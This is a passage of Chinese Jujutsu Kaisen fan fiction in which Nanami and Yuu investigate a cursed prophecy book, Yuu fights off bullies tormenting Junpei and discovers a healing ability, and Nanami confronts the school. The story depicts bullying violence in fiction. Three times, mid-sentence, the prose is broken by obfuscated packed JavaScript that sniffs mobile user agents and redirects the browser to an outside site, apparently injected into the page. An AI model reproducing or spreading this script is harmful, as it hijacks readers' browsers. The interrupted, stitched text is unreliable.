“欢迎回家!”悠从书房走出来,“吃过了吗?” “吃了便利店便当。”七海脱鞋,声音沙哑,“你在赶稿?” “嗯,但差不多了。”悠接过他的外套,“洗澡水还热着,要泡澡吗?” 七海点头,走向浴室。 悠帮他把西装挂好,然后去厨房热了牛奶,又切了水果。 二十分钟后,七海擦着头发走出来,换上了灰色的家居服。 那种属于“上班族七海”的紧绷感消失了,取而代之的是放松的状态。 悠把牛奶和水果递给他:“新项目很麻烦?” “工业并购案。”七海在沙发上坐下,“数据混乱,法律关系复杂,甲方负责人是个白痴。” 他用词很克制,但悠听出了压抑的烦躁。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154077|196498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “能搞定吗?” “能。”七海喝了口牛奶,“需要加班。这周可能都会晚归。” “注意身体。”悠在他身边坐下,头靠在他肩上,“我今天去街上闲逛,听到很多事。” 她讲了蔬菜店阿姨说的八卦,还有自己看到的那个高中女生。 七海听完,有点诧异。 “听起来像是一种‘概念寄生’。”他最终说,“这种怪谈本身没有实体力量,但通过人类的相信和恐惧获得影响力。那本书可能只是载体,真正的本体是‘预言会成真’这个概念。” “啊…那这会有麻烦吗?” 七海思考着。 按咒术师的原则,这种可能引发群体恐慌的怪谈应该尽早拔除。 但按他现在“普通人”的立场…… “大概率不会。”他说,“目前还没有直接伤人。但如果出现有人因为‘预言’而自残或伤害他人的情况……窗会探测到并且处理。” 悠半知半解,七海和她解释窗是专门针对咒灵探测监视的部门。 “对了。”悠想起什么,一拍手,“今天遇到坂本太太,她说顺平找了家教,成绩进步了。但他好像还是睡不好,说梦到被东西缠身。” 七海放下杯子,表情严肃。 “顺平这孩子的咒力感知在增强,灵感高于常人一般是不会做噩梦的,梦都是有预见性的。”他说,“虽然咒力微弱,但持续暴露在异常环境下,可能会被动觉醒更多能力。” “那怎么办?” “最好的办法是让他远离异常。”七海说,“但‘远离’本身,有时候会引发更大的好奇。” 他顿了顿:“我见过太多这样的例子——有天赋的孩子,因为无人引导,要么能力暴走伤及自身,要么被咒术界发现,拖进那个泥潭。” 悠握住他的手:“我们能做什么?” “暂时……和他解释。”七海说,“如果他主动求知,我们可以给些建议。但不要主动介入他的生活。他有权利选择普通的人生。” “如果咒术界发现他呢?” 七海的眼神冷了下来:“我会处理。” 短短四个字,带着不容置疑的决断。 悠靠在他肩上,不再说话。 房间里安静下来,只有窗外隐约传来的城市噪音。 过了一会儿,七海开口:“你的漫画呢?构思好了?” “嗯。”悠坐起身,眼睛亮起来,“是书店怪谈的故事,结局是没有解决,只有蔓延。编辑肯定会吐槽太压抑了。” “但这就是真实。”七海说,“怪谈不会因为主角的努力就消失。它们只会变形,转移,寻找新的宿主。” 悠看着他:“七海海,你以前……处理过很多这样的怪谈吗?” “很多。”七海望向窗外,“有些能拔除,有些只能封印,有些……只能共存。咒术师的工作,很多时候不是‘解决’,而是‘控制’。” 他收回目光,看向悠:“所以你画的漫画,其实很真实——恐怖不是来自怪物,而是来自无能为力。来自明知道有问题,却无法改变的窒息感。” 悠的心被这句话击中。 她忽然明白,为什么七海会如此执着于“普通生活”——因为在那个世界里,至少问题是可以解决的。 数据错了可以修正,项目难做可以加班,人际关系麻烦可以保持距离。 而咒术师的世界,充满无解的疯狂。 “七海海。”她轻声说,“我们以后……如果遇到咒灵之类的,要怎么办?管,还是不管?” 七海沉默了很久。 “……看情况。”他最终说,“如果不危及生命,不影响重要的人,或许可以放任。但如果有无辜者被卷入……” 他没有说完,但悠懂了。 他们的原则是:保护自己的日常,但不对苦难视而不见。 “睡吧。”七海站起身,向她伸出手,“明天还要上班。” 悠握住他的手,被他拉起来。 两人一起走向卧室,关掉客厅的灯。 黑暗中,悠轻声说:“七海海,过去辛苦你了,很累吧。” “……那时候是很辛苦。”七海的声音在枕边响起,“像在悬崖上走钢丝。” “现在有我在,不要一个人抗下所有压力呀,老公。我们可是夫妻呢。” “悠,谢谢你。” “谢什么嘛?” 是的,他们是夫妻。 要一起面对狗屎工作,一起构思恐怖漫画,一起讨论怪谈和咒力,一起在这个不普通的世界里,努力过普通的日子。 30. 看不见的线 街角书店的红皮书,成了社区热门话题。 蔬菜店的阿姨每天都能更新几个八卦:有人看到自己中彩票的号码,第二天买了那组数字,结果真中了三千日元的小奖; 有人看到公司裁员名单上有自己的名字,焦虑之下工作频频出错,最后真的被约谈; 最离奇的是一个老太太,在书里看到自己走失多年的猫还活着,结果三天后在邻居家后院找到了那只老猫——它确实还活着,瘦骨嶙峋,但眼睛还认得主人。 “你看,这不全是坏事嘛。”阿姨一边给悠装萝卜一边说,“也有人得到好处了。” 悠接过袋子,没说话。 在她的视野里,书店方向的暗紫色线又浓密了一些,像一团不断增殖的菌丝,缓慢地向四周蔓延。 这不是“好处”或“坏处”的问题。 这是秩序的侵蚀——当人们开始相信一本来路不明的书能预知未来,他们就不再相信自己的判断,不再为选择负责。 所有的“偶然”都会被归因为“预言”,所有的“努力”都会打折扣。 “不过啊,”阿姨压低声音,“昨天出事了。町内会的老田中,在书里看到自己孙子游泳溺水的画面。他吓得把孙子锁在家里不让出门,结果孩子从二楼窗户爬出去,摔断了腿。现在老田中后悔得要死,说都是那本书害的。” 悠心里一紧:“孩子还好吗?” “骨折,要躺三个月。老田中的儿子儿媳从大阪赶回来,家里闹翻天了。”阿姨叹气,“所以说啊,这种东西……真不知道是好是坏。” 付了钱,悠提着菜走出店门。 她站在街角,远远看向书店。 下午阳光斜斜地照在橱窗上,玻璃反射出刺眼的光。 但她眼中那间书店像是蒙着一层暗紫色的薄雾,雾气中无数细线蠕动、延伸,连接着每一个走进书店的人。 一个高中生推拉门走了进去——是个瘦弱的男生,校服松松垮垮,头发很长,遮住了眼睛。 顺平。 悠停下脚步。 顺平走进书店,在门口迟疑了一会儿,然后走向角落的矮桌。 他的手伸向那本红皮书,但在碰到封面之前,又缩了回来。 他站在那里,盯着书看了很久,最终转身离开了。 悠松了口气,但随即皱起眉。 顺平为什么会来?他是被怪谈吸引,还是…… 手机震动。 是七海发来的消息:“今晚加班,十点后回。悠,别等我你先吃饭。” 悠回复:“好吧。注意休息啊,七海海,等你。” 她站在原地,看着顺平离开书店的背影。 少年走得很慢,肩膀微微佝偻,书包显得很沉。 他的线——是混乱的灰色和暗绿色,像一团纠缠的荆棘。 恐惧,还有……羞耻。 悠的直觉告诉她:顺平在学校遇到了麻烦。 接下来的三天,悠每天下午都会“路过”商店街。 她买完菜,就在书店对面的咖啡馆坐一会儿,透过玻璃窗观察进出书店的人。 第三天下午,她看到一个中年女人在书店里翻开红皮书后突然尖叫,把书扔在地上。 书店老板慌张地跑过去,女人却指着空白书页大喊:“我看到了!我看到了!我丈夫……他死了!在浴缸里!” 店里其他客人围过去,七嘴八舌地问“看到什么了?” “真的假的?” 女人语无伦次:“血……好多血……他躺在浴缸里……眼睛睁着……” 有人报了警。 二十分钟后,警察来了,女人被带走。 后来听咖啡馆的老板娘说,警察去女人家里查看,她丈夫确实在洗澡,但活得好好的。 女人被诊断为急性焦虑发作,送去了医院。 “但你说怪不怪?”老板娘压低声音,“那女人丈夫的公司,上个月确实有个同事在自家浴室突发心脏病死了。她可能听说过,日有所思夜有所梦……” 悠搅拌着咖啡,没说话。 那些线像有生命一样蠕动,一部分飘回书店,一部分跟着女人去了医院。 这不是简单的“日有所思”。 那个怪谈在汲取恐惧,强化自身。 当晚,悠和七海说起这件事。 “听起来是开始出现精神伤害的案例了。”他说,“虽然没有物理伤害,但精神创伤也是伤害。” “窗没发现嘛?”悠问,“你手机里还有‘窗’的联系方式吧?” 七海点头:“明天我会匿名提交报告,让咒术界派人来处理。这不是我们能管的范畴了。” 他顿了顿,看向悠:“但在这之前,悠你不要靠近那家书店。怪谈可能已经进化到能主动影响靠近者了。” “放心吧,七海海。”悠说,“我只观察不介入。” 但第二天下午,当悠“路过”顺平的学校时,这个承诺被打破了。 悠本来没打算去顺平的学校。 她只是去商店街的路上,抄近道穿过了学校后门那条堆放废弃桌椅的小巷——那是条近路,平时很少有人走。 然后她听到了声音。 “……所以说你这种阴沉的家伙,活着就是浪费空气吧?” 男人的声音,带着青春期特有的刻薄。 悠停下脚步。 “喂,吉野,听说你妈在便利店上夜班?真可怜啊,单亲家庭就是惨。” 顺平低着头,长长的刘海遮住了整张脸。 他没说话,但垂在身侧的手握成了拳头。 “不过你爸呢?跑了?”另一个戴眼镜的男生推了推眼镜,“还是死了?” “说不定是受不了有这种儿子才跑的。”第三个矮胖的男生笑嘻嘻地说,“整天低着头,话也不说,像个幽灵似的。喂,你是不是能看见我们看不见的东西啊?听说你总去那家怪怪的书店?” 黄毛突然伸手,一把撩起顺平的刘海。 在顺平的额头上,有一个圆形的、暗红色的疤痕,边缘还带着未褪尽的水泡痕迹——是烟头烫的,而且不止一个。 旁边还有两个更浅的印子。 “这个还没好啊?”黄毛笑了,从口袋里掏出烟盒,“要不要再帮你烫对称一点?左边再来三个?” “别碰我。”顺平的声音很轻,但每个字都像从牙缝里挤出来的。 “哈?你说什么?”黄毛凑近,烟几乎戳到顺平脸上。 确定没听错,悠快步走进巷口,迎面就看到顺平背靠着斑驳的水泥墙,书包被扔在积水里,校服衬衫的领口被扯开了。 三个男生围着他,应该都是同校的。 为首的是个染了黄毛的高个子,正用指尖戳顺平的胸口。 与此同时,顺平也看到了巷口突然出现的悠。 他的瞳孔骤缩,几乎是本能地,他猛地低下头,用刘海重新盖住额头,同时侧身想挡住悠的方向——像是在保护什么秘密。 黄毛注意到了这个动作。 “看什么呢?”他顺着顺平刚才的视线转头,看到了站在巷口的悠。 几秒钟的寂静。 然后黄毛吹了声口哨:“哇哦,美女。你谁啊?” 悠没理他,怒火中烧。 她在顺平面前蹲下,捡起泡在水里的书包,拍了拍上面的泥水。 “顺平,没事吧?”她的声音很平静到异常。 顺平的身体在发抖,不是害怕,是那种最不堪的一面被重要的人看见时的崩溃感。 他把头埋得更低,几乎要缩进墙里。 “姐姐,问你话呢。”黄毛走到悠面前,上下打量她,“你是他什么人?姐姐?不像啊……妈妈也太年轻了吧?” 悠站起身,把顺平护在身后。 “哈?我是谁?!”她说,“我是她家人?” “家人?”黄毛笑了,“那正好,你家这孩子欠我们钱。三万,现在还吧。” “我没有!”顺平突然出声,声音带着压抑的颤抖,“我没欠你们钱!” “闭嘴!”黄毛瞪了他一眼,又转向悠,笑容变得下流,“不过阿姨,你长得真不错啊,有二十五吗?身材也挺好……” 眼镜男跟着笑起来:“是啊,姐姐,我们请你喝咖啡?” 矮胖的那个盯着悠的腿看:“裙子挺短的嘛。” 顺平的身体突然僵住了。 “你们……”顺平的声音变了调,“不准你们这样说我小姨!” “小姨?”黄毛挑眉,重新打量悠,“哦~原来是小姨啊。这么年轻漂亮的小姨,怎么会有你这种侄子?” 他转向悠,笑容更恶劣了:“这位小姨,你知道你家侄子在学校的绰号吗?‘幽灵顺平’,因为他总是一个人阴森森地待着,说不定哪天就跳楼了——” “闭嘴!你这个白痴!” 这次是悠说的。 她向前走了一步,“你再嘴贱一句试试?” 黄毛愣了一下,显然没想到这个看起来温温柔柔的女人会这么直接。 但他很快反应过来,嗤笑一声:“嘴贱?我说的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154078|196498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是事实啊。你这么护着这个怪胎,该不会是他爸跑了之后,你跟他——” 话没说完。 顺平冲了上来。 事情发生得很快。 顺平像一头被逼到绝路的小兽,猛地撞向黄毛。 黄毛被撞得踉跄后退,但随即反应过来,一拳打在顺平脸上。 “找死啊你!” 眼镜男和矮胖男也围了上来。 “你们这几个人渣给我放开顺平!” 看见顺平被打,悠用装着水果的口袋使劲朝三人脑袋上挥去,然后用脚猛地蓄力踢去。 给其中一个人打了个措手不及后,她扑了上去。 悠抓住黄毛的胳膊往后拽用力一掰,同时用膝盖顶开想踩顺平的矮胖男,指甲挠向两个人的脸。 结果混乱中有人推了她一把,她撞在墙上,脑袋磕了一下,眼前瞬间发黑。 “小姨!”顺平的声音。 悠甩甩头,看见顺平正和眼镜男扭打在一起,黄毛又朝她过来了。 “臭婊子!”黄毛的脸上几道鲜红的抓痕,他扭曲着抽气,一只手被扭伤,另一只伸手来抓她的头发。 悠侧身躲开,但衣服袖子被抓住了。 布料撕裂的声音,她的手臂暴露在空气中,上面有一道刚才被墙皮划出的血痕。 “放手!”她扳住黄毛的手指用力一折。 “啊!” 黄毛吃痛松手,但另一只手扇了过来。 悠没躲开,脸颊火辣辣地疼。 在疼痛和混乱中,悠的视野发生了变化。 不是她主动切换的,而是某种东西被触发了——就像人在极度恐惧或愤怒时会肾上腺素飙升一样,她“看”线的能力自动进入了某种更深层的状态。 她看到黄毛身上延伸出的线。 不是平时那种代表情绪的线,而是更本质的东西——一条粗壮的、暗红色的线,从他心脏位置延伸出来,像血管一样搏动着,连接着他所做过的每一件恶事。 那些线又分叉出无数细丝,缠绕在其他受害者身上,其中一条最粗的黑线,正紧紧勒在顺平的脖子上。 那条线在悠的视野里太过清晰,太过刺眼。 在愤怒和混乱中,悠的脑海里闪过一个念头。 一个很简单的念头:这条线,不该存在。 就像人看到脏东西会想擦掉一样,她“看着”那条连接黄毛和顺平的、最粗的黑线,心里想的是“断开”。 然后那条线,断了。 不是物理意义上的断裂,而是在她的“线之视野”里,那条黑线从中间崩解、消散,像被橡皮擦抹去的铅笔痕迹。 顺平脖子上的勒痕瞬间消失,而黄毛身上的暗红主线颤抖了一下,颜色变淡了一些。 但现实世界里,什么都没发生。 黄毛还在继续挥拳,顺平还在试图保护悠,眼镜男和矮胖男还在帮忙。 只是黄毛的动作突然踉跄了一下,像是脚下绊到了什么,但他明明站在平地上。 他愣了一下,随即更愤怒了。 “妈的!”他抄起墙边一根废弃的桌腿。 悠瞳孔一缩,拉着顺平往后退。 但巷子太窄,他们被逼到了死角。 就在黄毛举起桌腿的时候,巷口传来了声音。 “喂!你们在干什么!” 是一个路过的中年男人,提着公文包,看样子是下班回家的上班族。 黄毛动作僵住了。他看了看那个男人,又看了看悠和顺平,啐了一口唾沫。 “算你们走运。”他扔掉桌腿,对另外两人使了个眼色,“走。” 三个人匆匆离开巷子,经过那个上班族时还撞了他一下。 男人皱皱眉,看向悠和顺平:“没事吧?要不要报警?” 悠摇摇头:“不用了,谢谢您。” 男人犹豫了一下,还是走了。 巷子里安静下来。 悠靠着墙,慢慢滑坐在地上。 她的脸颊在疼,脑袋在疼,手臂上的伤口在渗血。 衣服袖子被撕破了一块,露出一片擦伤。 顺平跪在她身边,脸上有淤青,嘴角破了,额头上的烫伤疤痕因为刚才的扭打又裂开了,渗出血丝。 “……对不起。”顺平的声音带着哭腔,“对不起悠小姨……都是我……” “闭嘴。”悠喘着气,伸手碰了碰他的脸,“痛不痛?” 顺平的眼泪掉下来了。 悠叹了口气,撑着墙站起来:“走吧,我们先回家。” 31. 新能力 送顺平回家的路上,两人都很沉默。 到了吉野家楼下,顺平不肯上楼。 “小姨你这样回去……妈妈和七海姨夫会吓到的。”他看着悠脸上的伤和破掉的衣服,“先去我家吧,我帮您处理伤口……” “不用。”悠摇头,“我自己能处理。你上去吧,记得敷药。” “可是……” “顺平。”悠打断他,认真地看着他的眼睛,“听着,今天的事,不是你的错。那些人是垃圾,他们欺负你是因为他们自己烂透了,跟你没关系。” 顺平低下头,眼泪又掉下来:“可是他们说了那些话……对你……” “他们说什么我都不会在意。”悠说,“我在意的是你。你要记住,你不是一个人。你有妈妈,有我,有七海海。我们都会保护你。” 顺平哽咽着点头。 “还有,”悠想了想,“你额头的伤……是烟头烫的?” 顺平身体一僵。 “是谁干的?刚才那三个人?” “……嗯。” “几次了?” “……三次。” 悠的心脏像被针扎了一下。 她伸手,轻轻拨开顺平的刘海,看着那些伤疤。 “以后不会再有了。”她轻声说,“我保证。” 顺平抬头看她,眼睛里有什么东西重新亮了起来。 送走顺平后,悠独自走回家。 夕阳把她的影子拉得很长,身上的伤口开始阵阵作痛。 回到家,她先去浴室照镜子。 镜子里的人看起来很糟糕:右脸颊红肿,有明显的指印;脑袋上的包已经肿起来了;手臂上的划伤正在渗血;擦伤也红了一片。 悠叹了口气,打开水龙头准备清洗伤口。 但就在她低头的时候,视线不自觉地落在了那些伤口上——然后,她看到了在她的伤口处,缠绕着细细的、暗红色的线。 每条线都从伤口延伸出来,像小小的触须,随着脉搏轻轻搏动。 悠愣住了。 鬼使神差地,她伸出手指,轻轻碰了碰手臂上的一条暗红线。 然后她“想”,这个,不需要。 就像之前对黄毛那条线一样,只是一个简单的念头。 然后那条暗红色的线,消散了。 紧接着,手臂上的那道划伤——以肉眼可见的速度——愈合了。 皮肤恢复平整,血迹消失,只留下一道浅浅的、几乎看不见的粉红色痕迹,像是已经愈合了好几天的样子。 悠睁大眼睛,难以置信地看着自己的胳膊。 她又看向脸颊。 在镜子里,她看到脸上慢悠悠延伸出来缠绕的线。 她伸出手指,轻轻碰了碰脸颊。 “这个也不需要。” 线消散。 脸颊的红肿以惊人的速度消退,指印消失,皮肤恢复成原本的白皙。 她甚至能感觉到那种火辣辣的疼痛感瞬间消失,取而代之的是清凉的感觉。 悠的手在颤抖。 她继续尝试:脑袋上的包,擦伤,不知道什么时候蹭出的淤青…… 每触碰一处,每“想”一次“这个不需要”,那些线就断裂消散,伤口就迅速愈合。 五分钟后,她站在浴室里,看着镜子里的自己。 完好无损。 除了衣服袖子还是破的,身上还有灰尘,她的皮肤上已经没有任何伤口。 脸颊光滑,胳膊白皙,连一点疼痛感都没有。 这……这算什么? 悠的心脏狂跳起来。 她坐在马桶盖上,双手捂住脸。 母亲留下的卷轴从来没提过这种能力。 能“看见”线,能“理解”线,甚至能“解开”线——这些她都理解。 但直接让线“断裂”,让伤口“愈合”? 这已经超出了“看见”的范畴。 这是……干涉。 是改变现实。 悠的呼吸变得急促。 她突然意识到,刚才在巷子里,她对黄毛做的可能不只是“吓唬”。 那条被她“想”断的黑线……可能真的改变了什么。 但为什么她没有感觉? 没有任何消耗? 没有任何代价? 她低头看着自己的手,掌心因为刚才的紧张而出汗,但没有任何异常。 就好像……她只是做了一件很自然的事。 自然到就像呼吸一样。 悠深吸一口气,强迫自己冷静下来。 她站起身,换下破掉的裙子,穿上干净的家居服,然后把沾了灰尘和血迹的衣服塞进洗衣机。 做完这些,她坐在客厅沙发上,等七海回来。 钥匙转动的声音响起。 七海推开门时,手里还拿着公文包。 他一眼就看到了坐在沙发上的悠——穿着干净的家居服,头发整齐,脸上没有任何异样。 但七海皱起了眉。 他太了解悠了。 了解她平时坐在沙发上的放松姿势,了解她等他回家时脸上那种温暖的笑容。 而现在的悠,坐得太直,表情太镇定,眼神里有种难以察觉的慌乱。 “悠。”他放下公文包,“怎么了?” “没事啊。”悠站起来,努力让自己笑得自然,“晚饭吃了吗?我做了咖喱,给你热一下?” 七海没动。 他的目光在悠身上扫过。 然后他看到了。 悠的右边胳膊上,夏天睡衣坎肩露出来的地方,有一道浅浅的、粉红色的痕迹——那像刚愈合的伤口才会有的颜色,而且位置和悠平时习惯被碰到的地方不符。 还有,悠走路时,左脚似乎比右脚轻一点,像是潜意识里在保护什么。 七海走到悠面前,托起她的脸。 “看着我的眼睛。”他说。 悠的眼睛躲闪了一下。 七海的手滑到她的脑袋,轻轻按压。 悠的身体几不可察地僵了一瞬——那是疼痛被触发的本能反应,虽然伤口已经愈合,但肌肉记忆还在。 “你受伤了。”七海的声音很平静,但悠能听出下面的冰冷,“怎么回事?” 悠知道瞒不住了。 她深吸一口气,把今天的事说了一遍。 从看到顺平被欺负,到冲上去,到被打,到受伤,到最后……到发现自己能愈合伤口。 她提到“切断黄毛的线”那部分。 但那部分她自己都没搞懂,不知道怎么解释有什么影响。 七海听完,没说话,只是抬起她的胳膊。 “七海海?”悠小声叫他的名字。 七海肩膀绷得很紧。 悠握住他的手掌:“七海海,对不起,我不该冲上去的……” “悠,”七海打断她,声音有些沙哑,“你刚才说……能让伤口愈合?” “嗯。”悠靠在他怀里,“我就是……能看到伤口上的线,然后让线断掉,伤口就好了。” 她抬起胳膊,指给七海看那道粉红色的痕迹:“你看,这里之前有一道很深的划伤,现在只剩这个了。” 七海低头看着那道痕迹,又抬头看悠的脸。 他的手指轻轻抚过她的脸颊,仿佛那里刚才还有红肿的指印。 “没有任何感觉?”他问,“没有头晕?没有疲劳?没有任何……代价?” 悠摇头:“没有。就像……就像只是想了想,然后就发生了。” 七海闭上眼睛。 悠感觉到他在颤抖。 “七海海?” “悠。”七海睁开眼,那双总是冷静的蓝眼睛里,此刻充满了某种悠从未见过的情绪,“你知道吗,在咒术界,所有能力都有代价。越是强大的能力,代价越大。治愈能力更是如此——家入学姐的反转术式,每一次使用都会消耗大量咒力,如果过度使用,甚至会损伤灵魂。” 他握住悠的肩膀,力道有些重:“而你,没有任何代价,没有任何消耗,只是‘想一想’就能让伤口愈合……这意味着什么,你知道吗?” 悠摇头。 “这意味着,要么你的能力维度高到我们无法理解,要么……”七海顿了顿,“要么你现在付出的代价,是你自己都不知道的,更危险的代价。” 他的声音里终于透出了压抑的怒气:“我更生气的是,你受伤了。你冲上去的时候,有没有想过如果那些人下手更重怎么办?如果他们用刀怎么办?如果你受伤的地方我看不到怎么办?” “我……” “我知道你是为了保护顺平。”七海的声音软了下来,但怒意还在,“但悠,你对我来说很重要。看到你受伤——哪怕伤口已经愈合了——我还是会生气。气那些伤害你的人,也气我自己,没能保护好你。” 悠的眼睛热了。 “对不起。”她小声说,“我只是……看到顺平被打,看到他额头上的烫伤,我忍不住……” “我知道。”七海把她拉进怀里,紧紧抱住,“所以我生气,但我也理解。只是下次……下次先联系我,好吗?我们一起想办法。” 悠把脸埋在七海胸口,点了点头。 七海的下巴抵着她的头顶,声音从胸腔传来:“关于你的能力……我们慢慢研究。但答应我,在弄清楚之前,不要随便使用。尤其是这种‘干涉’类的能力。” “嗯。” 两人就这样抱了很久。 过了一会儿,悠小声说:“七海海,其实……刚才伤口愈合的时候,我很害怕。” 七海的手臂收紧了一些。 “我怕这是什么不正常的东西,怕我会变成怪物。”悠的声音有些哽咽,“但是看到你生气,听到你说担心我……我又觉得,好像没那么可怕了。” 七海低头,吻了吻她的额头。 “你不是怪物。”他说,“你只是悠。不管你是什么样子我都会一直爱你。” 简单的话语,让悠的眼泪终于掉了下来。 她不是害怕能力本身,而是害怕这种能力会让她变得“不同”,变得“异常”,变得……不再是七海认识的那个悠。 但七海的话让她安心:无论她有什么能力,无论她能看见什么、做到什么,她都是悠。都是他的妻子。 “那顺平的事……”悠抬起头,“那群人渣肯定还会找麻烦!” 七海的眼神冷了下来。 “明天我会请假。”他说,“我们去顺平的学校。” “去学校?” “解决问题。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154079|196498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 七海的声音里带着不容置疑的冷静,“用正确的方式。” 第二天上午九点,七海和悠站在顺平学校的教务处门口。 七海穿着深灰色西装,打着严谨的领带,公文包里装着连夜整理好的资料——顺平过去三个月的缺勤记录、他从社区诊所开的验伤证明、还有悠口述记录的事件经过。 教导主任是个五十多岁的秃顶男人。 他看到七海时愣了一下,显然没想到会是这么正式的来访。 “吉野顺平的监护人?”主任推了推眼镜,“我是教导主任佐藤。关于吉野同学的事,我们也有所了解,但校园纠纷通常需要学生们自己——” “我不是来谈‘纠纷’的。”七海打断他,从公文包里拿出一份文件,“我是来报告校园霸凌事件,并要求校方依据《校园霸凌防止对策推进法》第二十一条,采取必要措施保护被害学生。” 主任的表情僵住了。 七海继续,语速平稳,逻辑严密:“第一,吉野顺平同学在过去三个月内,有十二次非正常缺勤记录,其中八次与体育课时间重合——根据他本人的说法,是为了避免在更衣室被欺凌。第二,他额头上有三处烟头烫伤疤痕,经医生确认,系人为故意伤害所致。第三——” 他又拿出悠的口述记录:“这是昨天下午放学后,吉野同学的三名同年级学生,在实施霸凌过程中,对我的妻子进行的言语侮辱和肢体攻击。施暴者分别是三年B班的铃木健太、山田裕也、小林洋介。” 佐藤主任的额头开始冒汗:“这个……我们需要核实……” “我已经核实过了。”七海又拿出一份文件,“这是昨天事发地点附近的便利店监控截图,虽然拍不到巷子内部,但能清楚看到三名施暴者在那个时间点进入巷子,以及我的妻子随后进入巷子。五分钟后,三名学生慌张离开。” 他顿了顿,目光如刀:“需要我报警,让警方调取完整监控,并以伤害罪和侮辱罪立案吗?根据《刑法》第二百零四条,暴行罪可处两年以下惩役或三十万日元以下罚金。第二百三十一条,公然侮辱罪可处拘留或罚款。如果证明是集团性、持续性的欺凌,量刑会更重。” 佐藤主任掏出手帕擦汗:“不、不用报警……我们可以内部处理……” “那就请校方在三个工作日内,给出明确的处理方案。”七海说,“包括:第一,对三名施暴者的纪律处分;第二,确保吉野同学在校期间的人身安全;第三,提供心理辅导支持;第四,向监护人提交详细的防止再发计划。” 他收起文件,站起身:“如果校方无法妥善处理,我会联系律师和媒体。校园霸凌导致学生自杀的案例,最近媒体很关注。” 主任连忙站起来:“我、我们一定会严肃处理!请放心!” 七海点头,转向一直沉默的悠:“我们走吧。” 走出教务处,悠小声说:“……你好厉害。” “只是用了正确的方法。”七海说,“暴力不能解决问题,但法律和制度可以。” 他们走到教学楼外,刚好看到顺平从教室里出来。 少年看到他们,愣住了。 七海走过去,站在顺平面前。他比顺平高一个头,身影几乎把少年完全笼罩。 “吉野顺平。”七海的声音很严肃,“第一,被欺负不是你的错。第二,隐瞒和忍耐只会让情况更糟。第三,下次遇到这种事,要告诉可以信任的大人。” 他顿了顿,语气稍微缓和:“我们是你的家人。你可以依赖我们。” 顺平低着头,肩膀微微颤抖。良久,他小声说:“……对不起。” “不需要道歉。”七海说,“下午放学后,直接来我们家。” 顺平点点头。 离开学校时,悠忍不住回头看。顺平还站在原地,阳光照在他身上,长长的刘海在脸上投下阴影,但肩膀似乎挺直了一些。 “他会没事吧?”悠问。 “会。”七海说,“但需要时间。” 他们走在回家的路上。 七月的阳光很烈,但悠感觉心里很温暖。 她伸手,握住七海的手。 “七海海。” “什么?” “没什么……有你在,总是这么可靠。” 七海没说话,但回握了她的手。 而在他们身后,在教学楼的角落里,黄毛铃木健太正经历他今天的第一件倒霉事——他刚才想从后门溜出去买烟,却被巡查的教导主任抓个正着。 “铃木!上课时间你去哪里!” “我、我去厕所……” “厕所在一楼吗?跟我来教务处!” 铃木垂头丧气地跟着主任走,心里莫名烦躁。 他总觉得从昨天下午开始,一切都变得不对劲。 走路绊脚,吃饭噎着,晚上做噩梦,今天早上还差点被货车撞…… 他摇摇头,把这种想法甩开。 只是巧合罢了。 但他不知道,在他的“线”的世界里,那些代表“恶意”和“欺凌”的暗红色线,正一根接一根地、无声地断裂、消散。 每断一根,他的人生就会偏离“正常”轨道一点。 而这些偏离,会像多米诺骨牌一样,引发一连串的“不幸”。 直到把他彻底淹没。 32. 家的延伸 三天后,顺平学校的处理结果出来了。 铃木健太被处以停学两周的处分,山田裕也和小林洋介停学一周。 三人需在复学前提交三千字检讨,并像吉野顺平公开道歉,并接受校园心理咨询。 校方承诺将加强对校园死角的巡查,并安排顺平调换班级,避免与施暴者直接接触。 通知寄到了吉野风的工作单位——她上的是夜班,白天在家睡觉。 当快递员敲开门时,她睡眼惺忪地接过信封,拆开后整个人都清醒了。 一小时后。 悠刚完成新一期漫画的分镜,正在厨房尝试新点心配方——抹茶红豆司康。 听到急促的敲门声时,她还以为是快递。 打开门,吉野风站在门外,手里攥着那张通知书,眼圈通红。 “小悠……”她的声音在颤抖,“这上面写的……是真的吗?” 悠看了一眼她手里的纸,心里一沉。 她把吉野风让进屋,关上门。 “凪姐,你先坐。”悠倒了杯温水,“顺平他……没告诉你?” “他什么都没说!”吉野风在沙发上坐下,手指紧紧捏着那张纸,“这上面写他被人用烟头烫伤……三次!被勒索……被围殴……什么时候的事?为什么我一点都不知道?” 她的眼泪掉下来:“我这个妈妈……当得太失败了……” “不是的。”悠在她身边坐下,轻轻握住她的手,“顺平不告诉你,是因为他不想让你担心。你一个人工作养家已经很辛苦了,他不想给你添麻烦。” 